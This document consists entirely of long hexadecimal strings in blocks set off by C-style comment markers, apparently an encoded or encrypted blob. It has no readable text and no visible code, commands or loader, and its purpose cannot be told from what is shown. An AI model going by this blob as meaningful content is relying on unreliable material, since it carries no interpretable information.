74b1a3ce227157a0d8cca50dff0bbc602b59c0a9f9a72a39a9f07c04ec1fc054a212c8251b720eced7233e01b9dd4fb4f685abc1a8524b867d25aaf9a6a29f1dcd35b82a009b52498c5f4f92d593b88db3704673c57d5416bc11f7bd26988479a4fa32f35fd3df0fcb4a6e36be1915f198abafb168fc9f35911810ec1e847058f2ad9175df32987d6de7603143a958929c79dbeb2e5f63cb439f091aac2ff4179fd6301412250a6e866ea5cee77c02683b576a879c51410bc92a1a2feb25e8d86fe7e0c746c93d66ee7abe1f4de04fef54b8ba4a9704674ed3e4238da7debc37134d738b0568c006e2722f2225c523c246b74361adecb37467c3cdaac17d1ac332bc56f0940b36d0a863a13300214c7a72c2971fa23e3187e1754d30e90773c4ca9305d4c3b03be937c83b612c319080efdabf2407ba3543cb28e29a0bcfbdbfd3302037a46a3cbf9615951c05bf264354d0ce5a66df1c661b9a27fa3f8574ab415f627b368ef851acba3e60b3a4ec3567f03899561296e85e180197727c4659c8f5914484fa97e5bf4791a85fb68eaede0ad22e45e10d5e03ca5607df031be3df22a5dabb8ec1b0b39c5fb6be77aff3c62fe81ca53b4c525092eeb70220e22970b73fd6d9285c22b72ac3e2586adc8b896468ea394377eb11a2aceeb075c342ccba0c555165d6c01ec919ea2cceeacb8adc3c6a5ac801c238eca73d948e80c2063ce95ecf052ae8f4819a3e52490402fc88e38fa096022ac5ad3d025246a33d645efc8fc2d1039e10a56ef70c5de5b11c95f28395b722755592d19e539af6e6aa993f225224ffbfedd5bbb97b58ef2b70dd01ca00952b003b3bb8a5c63447e6ace80a94d2efc2d89113e53a054b548edac6b0d0a0914dfb6e3d9f7f91ac8d9cc0dbd363549d3c6a8692ee247dbbcc2411129ec927db76ec6276051f7ad079d7fd76af1a0524fa6daae9fa87bec67a339cef0011995530e33e57de1dc04624218ae37a1aa9f64533da8b6e3c6a2a3fdc134a3ed4cb133bcea16c23756fad9d2aa153265aa20617e5435974262fcdbfa7230e87e82568590d0d0576c1ac85fd431eda44a24b769453f9a9a41ac330866d5458d55508c92c3f2a1135a3a3b914cf1d09d002b918459fac2b77d743b7805d2dc73e38f4c7db5ca05b2642a9f181384caea29ee913b838597c7646f4d49fb1e0105274361f129a9b77d35c1779fae70587b31b7c2a08da1aca3570fadd30d29705b98cfe921b02ded7cd4c2c1b9f53a2e55f4b673684b639fcfd824c988cabb6aba2f484f20bc*/
/*3c439adb4695e7fc0804255cf2e43ea36340ea3a239aefc0a29daf32216d954608c89045db228f6dbcba6c99c1db97dc63d1dc8ac50f0ce2aadc34df24d8c175b4e09217e1282915b9f8392ba9a672c63c75d9e7ebfdba7674665cd4f116d9079eb464cf46b2d85708bc84a21be82a54a35110c95940b706e274daca9a56e2091a12cbe77ecf2171a6915504232a1d27ac2cdbec61363c8214e04b409190611e109deaa650ec0c3e2f1748ced575799fa8abe6eed37f53f6f20b18d4fdfc0ad98f43767c4987b5a7936d934b9ea00cabb7b795aef4c048f5d6705c6fbfeb41b3fdbaa84a058fa99ad066429c90184f583cc5674332cac4dcd9c0a1c909ed49c6ace64aa1f40c844cb98b5247600c44beff2bdaa03a64c162105b090a0143f3f23af45bd7b6bb3465bb9f025a0c3c29376f3f687ae7a76fd0e6ce0f902659ca5c8f0cbf5aace8b4a74da3f0ecb4a57d3d35659b250eedbb5de4193a3cb8cab1be0efc6f77fbe08d0f1613118f1ffb04bf12854cf9931acde51034d6721d333d91e03adc88645e41758b76607bfb667cdd607a17379eda38543adf8cc4048f4ae71868acf82a578c29863527b50c8c8aa5635304572ba084db197cba66793274046b311c2d8c8484c7f6e266db2f1b9419ebb423523c4b4823ff4281f3a493d561f689108b536a9ae2f937c72829484e329840e6e28915bf033de5e42c1c7f086b63b9d01ae44647ca26c4bc7d75129a22ce344b60f5c428b80abf769f881d8e4a9fbc13c1ba86ab0011d18be4bb689719109c3e7c58fded839f9067aa9ccdfedd7690a7b30af212bebff3fb25d240a6b1b6c2ce70efd6dec9fa151568e9dde5d8059f7588a31147fe9625950875aab992f76fccbd2f5b9a323894f4cb18b227e8d4f4937f97371c487b909e2879f728b5d7b4cc62f193f9733add36ce6bf258dd928959483dac977ff8390780a613b0006cea6c79a196ccd128bbe76931cfcc80dcfa16de67908d2ca59342799f4874659e5a6ca2e5a56e85d37911f1b2febea7e57fa4270b7d634e95d151be4c7d1a23157fe40b7eb2e6ce9cc165efa247139a94068ab127c951fd224b99d6330cae46f47d3ac33fd1c69616984310da54db52ee21e3c5fa00786ac3d9db28ef707ee7874d23cefb2db811e09b159f1a5dd8b284d1b380e46d925a0eadc0417a7c2ea54dcd29f277906f7673d973ae8de4b3b1308fcb9d0f7b33efc950dd7237536a213039d14c4c36d6ef37242013867df3ddee10cc7a5d7378fcce683204b51a78a0f8a999e7fe7baf8ed2b8d08c39d4c0a3edf618005879f22cdc3cd1bbeafcfce9bca8525c57ffe6b84f3a083ec5d945c70506725c9ee77dad789025b7961fd56e4559f4b0f8bea23b178204aab766c6689801ffe9b46fedb41664ce8dc5aa81a3ae6bb892aac6c1e4547fe8988f922d08fe2023a85b8d0bc4d1cb411f1578efb67c47d2c0c0dcbe8a52aca16a94db32d01c327460e19918c929d494565268052c354baffdaf6098fc2bd7f507e4af8052c1fc7e6913728ea5baecb7a2dc627cccfae530e196f1ca9aa2ba1787ec3fcc7c6cc7e9b0267676238a4cbf02ab62893a01bd3c88ac855d5d131ddb30d41954f31e7dfb517f600df69228ee50def3438781a68e68bd76bdb51267e9a98a87da20205fb683e1e901ae077caddb6c5cf1ddb3c540e49088ca1ea3afa11add663376cf4618f2d8412b4e6667b93f1f036835b4b33fc4ad21d422783b2de044d80d37d0e8daf882bb7518b0e6e5b288e4f21b69d2094ea007adc802dfb4ac76f507d2bf12da34be999d3f3d091b9bf48314cfa4ec9757fa97db16fae235574a4acf87a97312114ac4fa90f84af5d4b170dbd9827351cf217148c2cbd186d25dfa978cb70fccb4bd495caaf17d7cab828fee0b8669b1c77aa8f6ac2601e330729a96399f1f43b2c42122bb1994645e43b13b580a985b026942626beed96fd11b7f891262581364978929b3cc777e001ebf21434a37d3acea10ece8618309c920bbbcd024f7fe4ee72daa95becc22d7b7b05d7068dabf99d33c0ce8746281ddc1699fe0d086021719d8d63fc9a28f8e464290eadd69fee084dc0f56552c21c9e18f38d9d1bd93d39689733d41fe5117405ac6a070236d5b19a8c0c3981f0167e1011e6ae6575e852734858d86254addb192a203359d3c4e626ba1d2bcf090517582a9672adf00a1b5fc13bac51e16dc6b5888ce603913de51b80f86b68bbbd2901611b10488df7b30e1bb2e844a48f4bdc5ff7d7b2873817cb34737b1a299b2ddd633938b83bf278de1f2d8eea92629cd1fbe91c666c0cc669c3123eeb78888ae2946a7cd9217e50d0421b5aad7da1e213575d99454efccb31aebb41bd49f262187c6951a4a5daec1d6b4eaf845ddc76578fdef0d8c0e5c7622f58987ec4454581d340512b2a2881cad8b118e01eda84b678e1d0d3082247d18f1bc6aaf461e0346b4ee3990f85142c42b330ca8a419c01bcd40b39dc6ba4af28cbaf06b239d6815934d8df4cce11e08170cb7f44b72893d0477e5e15703816e061fef1e93dbe800dce2784ee30536f9d7aec22251df751251cd61745dccd3b6ee315d11bcd1ea1b50288eedc329ecd0bd8b74c282673c5270c600d9ffc526d7eda79f7d127117c4a17227e58b5b8ac7dd9ecabab124d2cc99205500ea1d829ff49a75107e22be2ed10e067424753d76a3ef09c7ee60b6808afb660b969b7bd0b383050eeaccad6f4d6fe332d6fab8968a230ea0126e5d23d3e95b196d0cc0114966f45c218dfb525ae9c24fe3c8b1722b2b77cefe3cb976a59b*/
/*530bd0699e04bba4b01477bf98cd8d70cc6c648b0534f27a748ea8ed8f1cf9853fe59eeed2dc24ef703fb3d0bec0f90231acf3b65396454b9337306afb3d0aab8d8eaeb3001e3d67689ce9d3a8ab26390694703442d26cf448411b4bd2a581a8d307175ab5a609655e9b00f3c856a75f571c6704df7bc0c513b1f92bc46c3d51c33144d069d775a80fc1c7e1f044b6986ac1d0c61c3a7a9636ae2e25f97cab14360637e51d4d0c79d27a0185e2030a879f441a846f38b5cb869275742eef1da5bd06679fdf864d8490f4e52df27159ba8877b573459f10fcb120760bff3b910be302bb0b56e76fcc1e6c081b05fa5fda32f47eff8594445e049a53be57c59f613084db44249144d991c0f04031dbba4be6bc146dd206742ac31e4f606537997cfaee628ea7554cf210cdcacf5dce0c211c96189298a125e6c9f427de0c79724ba772e0bafb228c9c4217fd55e3ffbe9d09fa0d51e751a5e51204e3037933fab13dbd33a8a697b5cd05af9ef3c4442183fb20c5a99ec2d5a0f8471f5b8937aa1b67c614c02d6c27d77d65145f5af30c8447af4a95d3f77ad58bbbe5985bab9234b16d3e4a8cd3fdf4982790dc96aece8c87d93568201ef821f974a21cd37db7f391a45400b3b4af3ced3757b748c3362c9a478c77ed520174da6d22d2d470314901f0d2e2a9a034a6926c8a0d30d1d86232419ff0b4688e0b86cfc502f91f9b3c44e4bcb9c183ccaae992d1a4f9e5b2ca0f5fd931060335b58b1e724914a90a7caa93d3384d3c10a9911b0abf81c63021e809a89192cd5b9bda94d52ae998600f84e1e400c22487dff02f6c7e71a513684af30bfd7d88e3fe2a2578bfe19c22bfbea9d7f643fc7b4faf355461bc52682bdc6cc6826ca23b42be89c5f6f4ae6415b4ab413b581ee292b98d9e279b84e1ce59372dcecf5f7bb2a41b06bd2bc52e7bf6ed2cef0a0296c52721338c02a385861cd31bbf4d879744e73ac8d1917b2708df769be533726ff527a3cf2abd469b1923f8dca5039d2d5233f1046710c6c546d7d98a813d4229d94a850fa0ffb9c2a963e8ccb28cd28898c15db22dba28738c0e5cfb4bc9042dcddd6bdea0bb0f9ca835d8e982e6a9ac5e23c60c1ee23b8887e70349675baa3b3b88df9bc515943241165944629f5559cc0b1f3d22960984383ddfd6c13e899219a31fae1516aa49ef48d0961b9a4af1175ef88da3f3e3376d846f010f70dca93d82c1d6ad067157af10389470b5258b9e59e0abd8786fded7b9f25f053c654d49a8209bf15672cf8f0edc99bc1d695bca4cb9425de54bec329d38f497adeb699448fcccbf227a4a606b458bfcfbd54973cbc7efdd6505207ef6f841b6601917782e8053c7d14896526db858e7a3c4f772c0c7ee42ba758f259ceb26fcaa3b6f1648cff71d8d0ad314060e12fac89c33b5c166a2d3148e447eba6528d3bbbcfd670c7a5da4206e1dd242295a7f2e638351ed97391d4a35d12c32c2672eaf4d1ff635d36b9a48458c5b0cbf1eb030b28028d827b0a8b8bcf5d70b5307cce86b4297926de9d02379333cdb6dbe4dc90fdcc290c822fd2a8338dd84b5f39a040c487a01f6659e9e01100a51127f15f340ac4ba0bc89e30ce5d14a0453bc274157ccb11c53964648f38687af6c281926de2777c4d843a5ff2a568e99f996c08bc8acaceadb8f07ddfa0754b8eb9569e42658a3d595e169593039601822e74cf164c904eb4e2b15fcf1f214d4776e9090defe19e553493b90039d3b8942f5bb3775f64486d6a2ee632feb9e211bb4879dd75cf8c5ed9a5944e2adf47c560be9ceee5acf16c4e22a55504d975e7a92a71ce6dd1aa61d54673c054a53acbb7b58bec402bcb5aed31468c8464c9fae5ece5c1d76dc6363a3aa063aa90a1b7b3ecf4da86c4ca851225637988e7bf10f5d5bdc9f7d282ed545a858b663f2a349bd5bfd80d26b3a46a3c10b7a2520e154dc794695a5a45edd9ff943cef9d999460c3fbffe499430b9051e1800026a4858464960a876da8faa2f41b2d2e7e5c7af7164a6a5891df78730ef902e34284ce0029fa465c18c575119dc6f127614f3c8627d94e750df9a5751b19f3c76b52921c0398c01fb719342185e04c9a42e2c731e1e259846226005eec0460e4cb95fad09e4a484377dce5f3a17708212ee364d41c2261badd89cbe089397410244c718b6760c6e2067d96c7f07a69b823f9a936a5c860e6812d5c148126091a7335f42b145178732f5c8a8553fb4cd06bc26a9071eafbb3a94f0f501525a7f615befef462f23f85f0fe609986224ee182b0460f0917fb55acc97df7ef1e44738eaf7eefb2bf2359e47db44099ca85f6bbc0bf1c671bb443cf6b95d6ec1ce4e4e642b191a2b9ffa214bd48ffe76b1b56a686a3e85ffa0eb7618a486a78b2c500113cc764a1b726980bf2859cc62533a09974caa6df331cc89b8e46dcfe96005f7047bc1a9233b0066deb3d84761fcf3efc0e22131df74a3fdbda2a67487a05f0e097ed3b40240d0eb641136b8017e888129ec198e62622b47f8979735b6a3a3e17f8e88fe15cd97d5df8d34999e8968390938bf58a7aaf02a7723ba84d29596bb9a5a83747e2bb9cc9854ad87e88bc2bb3c7393a24f9219159799c39240f49bdc523d915f603fd016d1ca243b6d443d2ec0cfae22b6c5504584ee28a6fa680d2ae258af4816338adc093afc56fdaffbfc06004c59997ca89be5d82a4ab88afe321553a707502a1bde8ec72490ee12dbebb7715d6b53b4d7f4999cc8ec7b8628534dc90504963fe09a09281f6826b690f867ad0eeeec895f6c269f9ae8775a84eb6e*/
/*d00b6a999b58fcc4e19eb54185c3ccd15b9fed5978543f68cf735b33563bb5451c90d46f0c67700a89e9a3cf02cedfa846c057812398a0b3743b82b9261996dcac4d9632e91282ec91a6dd81bb470091a69fa362e85d6f8da7507ba05dd9b3a5c9e6861d1c6e39dc1d8a0bb0995626609e8e5dbf122f2ca5759098ea193b84d7acf97a952d76444deef60b0a82d9d8338d9ac701a91d7dc71fe749892ac47f8ccce81498871e06f6ce5b44fc57c1fc3d139def80b02ce9816bc7e6c5744814e86791f77c60b463548d5fb375d6cf3a4853196bdca2b16ddeb134ae2a90a02c3032503cc4edb435b46255cfe96619b7bdd602430ec9c6313e64e95361af4712db35cdbe5fe077929913f11f858e8c5479834e7aaef7d7215b983e1c1772ec1723ff6212d6826000505077373e630063a80e3b4df2ab0dd5dae134790a51848e72570691df4062f62faddf91ad18fee2025417c69427e7038420116a2b7e41e8d46301d112fd120ca5cee1017f40c184b505d2de797e304234ba4cb7518d617942468e8775a336f16846c2efd74a51ecb66853e0248e275e3b6dd21a0656647eddfab18c8e6c9dd2520db2ef5dfee1678b3333017a0e166167f4e45d447e8248341135be3dd5943ff48ee79d74c435939a02581620e1999c6322def5d95126eefb8995f13410c28149c65f08d2a484925a5b6c322a3405b69a4e0a9f62cc7ce825607acbe7405fc7ebaa99ce474b0ad511561de8588f77d43fbb8bc15071f305abdd39de8e81779d013914eeb77f0f6dbcf03c044ff0f97e8e816d5a19a6704f6dcbfdc9d26aef99f1d35a77bd1d8da3dac75d9a3194cbf87e71cfa21d501f562e9269aaffac1707525c3d555177930072125218efb1630504949fbf71af9c7bf09dd0a61ed9e3c0fcde1640c5606cdffb2bb139fa37e264eea5594b945b343cb47ba227ddefb6666c915118d511df4ce407493b4d6957be2412d2584bc33e63be1157b17994b5c3579a26f9ff40c0ca46482bdc718f0915c566f0ad0396411606f1ce27353126debf3581498283f083d6683520deace7643ee0f3fa31f5943ec16398102daf0e1a228dd425613423d52205af2a7d14709bf6a13f94d8e08734c1919325c251c34b41898ee8bd55490e7c871e60024165af9d4175a02bde2720f936d118389ef8a997df8820d1185e70da5bb566daa94ee4f33da2785235cdc5c91c3d5e0c349807a46d0b4912c2744aafc1252e5d489462c50a68060c67bb321c5786cfa7aa2e2b7c531d1c6b37cb015a602392e31cd91ce5cca2954038482b46748ca9a15089ca78bdd76f562d7cd60ab4fed3b9f3b7b8e93c190fa871b1317ecb9d06723a5efc3f0526a0a3b203e625307a8121a4135c8b5dc64af19a865e418a3690c99d469db2b545342c8ea40639d44b2892f13f851524de39d695db1bf13608dfb4ce8101418836fef9c9357a3a535c32f5783db6cc63dbc4aef9391c8db3976d3499e46ffd29681c5b232625136ff8279754ba215284cf98a4cbb7f429ee622d2f314e2ce2b3613bf544affab7368db6cf910474e5ff27bda92d5a57657fb29f124c3d2527ad0dff889738b84c36a1a30fadb24290a85b5ef28790ceb4eef16f33969b4952ffe5afe48626a884950c23a33e4c35ab1cbc54ef16d62976bae0b24ea51e8cd5d0886250bd10f73f0998a41700996157228db88c7ed883b057e753d800e1e7f3dbbaeda7359b41cdc60c95975f356370044aa14d064d3982ab9234b53de7460899ff44e1089a6b8da114e7050ef305142bb39f2f1887356fa206b8eba32c6db8648926bb43dbc24960bb15e7a22cc48720ed70f681379c646cd5d1d339f4e51c46af09c59178cc8830c8a62a203fb30a2b453cb992e880a98685b1d38a1faf5c84908e0e487d43af45afacbd4ec239acab2eab71801dd9e997be563bd421ed6e7283534718afd4167c16b3ccc14e36c35f6ead8e043acec83a64f31c31b865e95a02c2f603624a022711d8dd664d5dd68baab178e9291e7abf34f9938904b09d400edfb417f32b9985433bb23937d54190da194c6033b258c46922b17bfc2b322a21ae035a4f43ea05f11fd233704b42eef21c4a84823c6eef2c8cb9787c0bd42bfd9823616ddc929ca47ccf435eacccd288b1cc963e92a0395c19d9474b44877a1a764f9bf2474059b0d0fca5ba6b41a77b43381d3995faed9f4189993cbfe12ee99cf8c00b67ceba6e1f1084dfcd0aa5f93ecd8a35571a485ec67b79e2fb00720a2601c55c5a63f157b4187eba9e0e091afde1d7c0f2fc1757cf54c3afa5aa3b1dd404ca5293d132e7942f221c361a89745510e84c2cf1b5ee84e3f27c2b9ed8d86373e58db15b405f83db478d7dc06758142cf4e01a778a289e9793fd10cbd1d3f31e3239dd298579bbb782aaff1b8be28bbd9b3eb815bb9d799ad34a534519664780c31bde83d9d5c05cc5021fc554a42333bc6336a7ba9af7877ea8ac7fbacbae7ccca5720fff3bac46cd88cce3f56228e94beab44a88908132644113bbeb544b994629583e65483a7da330e704f02d75cfb348d6203fbade6f836391a5056d7c9aee783aea31cc07a020db18732629e1f7e284d15f124fbe7b5530b4efc3abbda4648ca3fb1f5bf40751d512e7c218da7a9417d3ff00b1236e720241098fa90e0eb33ec98064a2ef76f0e19b131378c2b7809c3a213d702173437f3d716441f90b5d338c5aa6fb43bbb349ed9ab5c81fcc7f167b15628dbda8e41dd562560bb5f705d9c329e1124618cd7e40b0c032103749240e8238b06aca5e4273c20d0a0faf0831b8ef*/
/*8498d6896009a471819ee6b7f3156d349659a4edd97b054b45ce28056b6d761b1aaf8d19f10e9f8121b391264e2bb31e2596a514cf18250d1e4cec0a7716eedc557f84b00b31e0178b5b0083b7c95dbc28f01e0844831828254e70855a830285593fdbf82ad1b3c343471b1ea137f307c6e8d2bba6346b385603127cdb69ec106276e3b41c5c1774c1250fc5d3d44c9337d01907e9f7b990aa2f114225db15556fc0fcba5ae056848c8de918346ac1e6282ef8756c5ceaf015f46ca02dfbbf5a39aef8faa12c8bdffd3958fc90e7474f414330d4ebd7bb7cd7a01440e8c7c127d2c9f7b2927f94d13c4659906c82dd6f485092f8ace3819a8d57bc14337ab81c218cb6b8bed3a63243a7afe991e3fa1977cdf6df6332433999810030dee6ca89afbbe9bee7a7a99374f3b64e657c4d4e12df5d4147232b1a813e37a4709f3529c769a99d070090d4d3d4925be8e392308c5605e4ea00353b8309166a1c9816876c1b8bf505a2e3ba3a04280cfdd2a282cb8ff0adab0a367596d8b3d2077c6e7b0b60a915a6e7718b363c8d5bf8ae34a09eeb996e4fd7347508d4ba98213a50ab10288b4d450f89d8c33b06d3d9e4d0c1eca1df6c7dd1dd40c072b8c82ea389d9c1c11afa30fe99d76dc10a9c738825cfc391881e7a78bbc77a983f31baeb542758e487ddebb23bebe16dbfc8e24f257b08d889c795d77dacc7b42f86b3ee0594782f39c2260443507311d982f4169cb3645fe15610c4a4fd083ac94eb35e348e3320911db0facfe36ffc99761fb22aba96ac5eed6128d9d722341af0e2c5dcca74018c81830428124dddb81cee7759a68ab5a9b29ad264b69f170fd88b047c5e147316389a83be80e2a67060861eb3f6e6ec65c92eae155390585005c8b9b0c090508994735b794b8b378c5f074d6600733ad905fbbce2bc2b123d55b78401ad04ea2b7b5cb411e69dc8af57b3e51279e367180ec4a490784863c7e242fd582f0eec628c7d923c61b7dcdcf9a325013e68c33d20ddc8315dd72d58ef419407cc175d35ce8d45ead5b2da3211b62a1430bc4d2eef094ae614c36d705e860d1ee23011e1b08156ac6e270a35327f1da9a5310eb7db91598a7ad8854408df8b5ddb078f89feec39169806e1f3ececa47c37312111647ad4c671e967933558392a3f9c6ad08ffef0d3c6a79ea114943a863c893a2106b7b195f381418730cab61015876e40787c806a997dc8aa90f4aa094520d2fe15914891b806ef3221f277d0ea11d008623b81ccbb78d656b073435a14fe1e769cd1a14cea8d06665f775842e76dd351841291d55f2bb98d1cd03497d4dce3cc469b1cfcb23a5bcf3befe8de074e85707623807dc034261eaca1da03265a7bd4723ce495870a0d5477786d04ca0051494458966dccefeb0e263295bca1a43c007391b16c06da148ba39af43d823ea5d55d06f5df973fdb18c5ec1204962751a7a4d0f34ccafccc161c0a8d3bc57241af1fdfa31e792fa5ecb3b2a4558de666957039056c95bb3bc356b1de0d50f2c36d7bafbaf06688698bd71059a6df7a4009f27c5f886b09d0f4290b39cb18bccb8590636337606f4aecd9b10c8e311f11adb5e22abdcd522b6c02eef32c31e40aa3aa94084164560e42f6ee0d3f0a688f05e68606c6b9f3eddcb765d6de23a897f162ddcd2ae800c0f51880f2136b6d8e0d3b3e04c326cb8c45026ddf0c3ab66c394ba1244c633180dffb48026193cfafa9323c492d2749a0bed45c25860c823b4b6376e852929f8cba1092b4b27a4c5d31f05933a73ea9015cef829a0cb09f123b2da95ff6f82e5e6dc1519055bd7d282cbb407210508f9d1614b5c649e6eab87ca25c8daf2b93511a4df3aceeda921b24646b342ce56044e135d44059fc291f6591c979596f0046ddea758efda62692ebe78638c12cad917a90569b60d8a2fc4ae35d442de9d1ae2dd14419bd08919d9e1854915a27414ca11e49bab3f7d8015285d7ae636eeff98660b9e7fa51d56e9c384a7ef4afa3c77101b8e13b5c2a3b49916343ed4a1e61a704ca258a6124c5f55cbd297e0c3fda4ffc313db3ffbaeb3bcf2fe11dbbdff10142862ed071396621cd6fecba16653a89649e8a4321b66db5bc34ebfe666dbdb0e57d24afbd80519a885ad5eafe4164106e7e9a1aba4957186b83913270c889b0631dcf65b36a5946acb84d76da3768766b5f6dbe78ccb6d703bd3b38e610e0dca00ef0748b06b63d92e2929a9e96814972ce42787b4ae43ec47f9485e49cd0c0ec13b1ebaa42ed4cdd763e1c100a8187477955eabb37a12eabb33f7bcecd8807029ec9757e67fb212acddfed10f81bdadf3987eb8cfb6957b2765cc3253f4a89f777e9295b93b6b2eede6a2f03ad0f59787c93f75c117394b65ada0b1bdca5c0a374012f7a16e3b868b968b45c8e5224fcb8d20b7c0088cb8891d8326c2d27649e4fcc5236c49ad276611b6eed312a556e92315ec023190d3240058ca93271d42babd90269ab23dd6149f2fb31c66ae028aec71fd2be50780cbdd3ba920f9871235513779a76c6d25224b9494ed46f6ebc45ef05976c37709ea51ac22c9bafaf001811d24b2cf6f70d2ccef737c40673d23380e719493850746455265daae7f71e74b2a435da3c1baac9cc14dd3816a4e9605a124bcf943aa24b95a647be85dcd2cdf5f9f1b1acf04dc371fefb259cb9dcb61e8c332461b01f53fa8bb0dd239c04d3b824fc0bb5859433f51f44f98bcf7ed4f3ff9447788114f4d899a86fc548a237b164305e9477b374bbd0ecb77375d02692fd412f56b1b2daee9e87d50a9eed2b0f3e8b*/
/*38b75317e4b074eebae88decc21e909e28f0c023085b330c00d9e193bbd71aef554b97bdba63dede0d49ae5f43561453a2d9481532528da72fe6320461d2a633b0e251ac884a3b52596e30984e477c11ee16a2b96103c37d3ba7a7f510908ff301d1d4ed8d5642397720a7642859f8c9ab1d6dfa82d42c8fdf1ce4c731148b5d113eff685c6b4eee671f473a0463c09abdf3c6470ca49e7a1dfc868aaf47a2401cd3f9c67ebabeaf976282b26e3f1b7b4b808b8a898eda993d0dc79121289ae1c23c82c33269ffdbed2a0f5044dc25af0076c1d0cb5d50f62629aafbe2c99695f62b662796fcb70fe134cf99ff118ea01bc75d5cc571298b7b980163472487db59771c097f23d1ad1a7309e5cb5d928dc5bda022cd75bac01660c96a50e577bdb1c8606b5c4898143ab2aca5b5ba54d66dc73183d8011c7201ba42a4e7803c3e78abf8943e92a3670508e24d0864e49179bbd63397ce43f3f5ea339d8cddcfe1face0e4e5b8f9e9ff9ad5e06d080c1ca6cedcbd15fa31d7f3ab6c6b0be671fc17dc1dca29643a1da0aa5834aa015f7a42c2adc1773f06dd0adefd52304294e86d63897ff7cf1cc0de7ec39d5443526ac730f75000cd1422cf31aaa7e576256d2cbaaf32b324cb6643e74505ea3073385485c5c86753c132c2bc3d8f8674dd2f278a58fc5456e5ac41fef65faf472c9ac69888b24f933691447116b6fe9db73ace5d811c44a372829b7192601c8ee8e6563b1faf2a33bb2054136564bb5531646db77962a0315c147f9e59f171d17c2f845af6253bbba97739446046ae04ec3dfeaf2ce111dfcc2b9574f1b482f13cd669fd9eb79a3e2b90cefe87b17cb1c75ddd2fd9ff98f0ce7918d2c2a3f9b775d33df3f122c5cf630f9fd354fe5fe4703ed8f404ab97c668c1c04cd415fe24ce9abea83cde97ef63fec1668fe1e06976e1b977503d90929836683dba53443fde0bdce7e84e295b4185a6c35202dcbaf6c2c0f9df44c3a7e7bc031a74482deaf20a0d842cf9fadf833229135c13a93c28741937e6c4ad8ff205e8731d33c674d534d3ce969b2d0a8d87728eb940d96506aab0a143a19ec8660ef9fe9bcf488e97382c7c717b40d8dbb66c04c1e2cd42e8db5b52534df4109ac4057115af756cd074a6175bdd072e821c0f146c5242958414756e469a69af1c19cf63853b6df8d5d9bb32b5f03fba731ee1aa6a1659314f429878d633f08ff48c9303da1196582d5486eb52dda7ab719c51dac624ab6eafa488ff2f4200e2c61f1d6fd1558428496e877e282a8d51cab7c3433e5790d59e43043b92fd81541fa34e38d125f71ee01cd51ecf23ee88f8dbecdbadd3dbc1508170c42d500aaf539e7c09181dd6607b1274a9b44d5fc869d73c171f985af5902ca0536789e11d59e865f1711302e3cdf606b3268f8581a063d326cf6cd580d5b12c4b3ec4a011654e1655a25e079a2fe5dc1f2e5f42d5aeb3d6cc84f0b33e480d95e07dc7ada7b0b69629cc41d84ff68ce44e77e526a2ab1d3e33b0a8539222ad56e6c9ac088ec53a2e78f3f253b08a0d6b8e9a0c4b0c7a2273d4cf89c5951eb88a70ed83d150458f1f9bae8cf0198c62ac65d3a4c1e1c243d4dc54210cd96b2ec269e1894bef68b2d257d3ca420935b307c587b993d97976097e712d22a2093ec6c5fc65c4c356edba9a89f78e07ccf7d2366efdba63f9d913ee74e828e8eb3060b446b3510f9f4d7b78e62cba6e00384ec5c3b226b5f9ab9f635ee128b87f1de4e23a044a5e7664ec6c002a10af0897f2f9443fcf95e4cce618be9f31ee75b97f7b931e790c916752aca3c827e3dd8319cdd6f3c35e36933563c5839c13ce47d32f1c646ae77a47032b01499692e5d77567ba05a0e209484e6ca2b6face3987cfde56fa83d4820bb6c606ea4bf32e16fd4e8d62e4de73449af3e1ec32a9372976cfec82e30664e62a5cbb30033395b69885e000ef833617b125ebb75274eb0c68362722f09769476cf6eabc3805abb9855906baaff00d5ae2466a41e8c6aeb1e67db8598a0de1c98128b481cda7df180707b7017756a574c6c4c06da565cc78d40590b0b8ec442b1b9ce304f1b021cca107bf23bfa68741de8e265c71b80d88a3174c0c356bf25f28b5422cc30452c35d170adaa1b73c7a47e129400f6f427492e0ef0e57e2948bf4c653a6dae77fe9c8a8e4b0b13effd52a56a750968d538771b70fe4451817cdb7ac29e1daa664c3c1a6ac7dad4b3efcb4202315f458403d617c2af1c70536c4ef223c840fb84f4f1e110b52d5ef010f8e61f5c9cd684a94fd830cd487d1915da5341a40a92504375dc8fc6b6c699ce3d678b5615e3acce3dd5ec84767fa006e116fecdc4ddc25c8812e1fecd0cdbdebad2b116c82e20d16ffe3a43f8ff006b6be2e20b6e1f3c76910361988cdba3c561fd1d0af71768876c1c0747b399ac792ceddc23945fb7cf702f5b782071a0cc5168d2a8bc60e527f0a495f0137acc612804055395b4b21dd306d743f10f974d238a1ad4020b800107d0811cd1628515a4784e26fa2ae256bea23a41f439157dec6d38c04484e5b21e756be064cdecb1d271c0eb8721a6566fd0d8cf5711955e0bc1d84f95f3009b4ca519f5bedf0db9ead0ef85e63e567dbb16355445808d071e67372873824f8bb7cb7e1c208fc986b2ec4522f79b2ce6f0fc5382cef5aa11b217886f75c2a0255a2d149113fd00921373bc890c088332d49d43ec6ffdd922872b0797813a87c5edb5abb353ca67cb295160775611c0bf1619317266b851d55cdd003a64e0dc4ae8c386305502162e59518a7c25ac726a57*/
/*36c75f7384303ff5e21be955c5be2aaf6396fbfbbeee6bcfec68b85f457398fbf55f65bd28d9d7e80c8682d299aa231a01a85ddb366be2c0061e9cc77772677ed7144f3fb4e99d1a7c804bcc3c5b7a203a4bd765b055abf74c19cfff51c2c3536af00c0876d0f0f018f57e9c707b4a28a210f1594168c00f5db8bf1e5c3e538790e2b33a2eb3075c506c3003ca6ae59d638d9f23f9f308fbd3940369071923284de47d42920d5d112489abc8bbf459c5dafe3ada2ade90eb804fc934499fb9fb005959d746ffaecfc940b4ebf1d4fe8fc36b334e669e804b6c817680df51fa89f60ecbd865b65e271b1eabd66f3b3ee25e15b6a6e9fb259b3789ef8965a6aa46b5bb14ff0df1843cde1c89d30bfbdadb03d717462bf0323a717d45c02bdf89714119b9abb9463f39f9933e021e8da46b55ebb49d86e6d25c9450d1dcd1da3157858732f08950bab0426ad2a3d8c52c95fd1b9ade32d994f458cf721a59cd0b8191c5b735b5ca5d6b4afe1d12b8d6ae7c5115dcc2fa313e9558cfab0c174e526acaa0989f833e3bd3812fdd6f5e50a5b12efe612db167482c31e7e384a6b6e866b60a7b83c7045118feef13c328f2db7e7e455467976ed7d79c145976ea0b42115961391f2492dc61263fbc287f53b8bc62af33e13ec1804389998312effeb358958076c5dad27fd5a8e098723c2bd1d026ccdbfe64c91e7023dd84bfe1c225d5e04c342c33e747700a1aa83dde3102f6452c657fd95c5b6d3974902086486fde917ed4bc1cd140a1ad49feaa06c31875e203565ddc8e3008412f3117b097f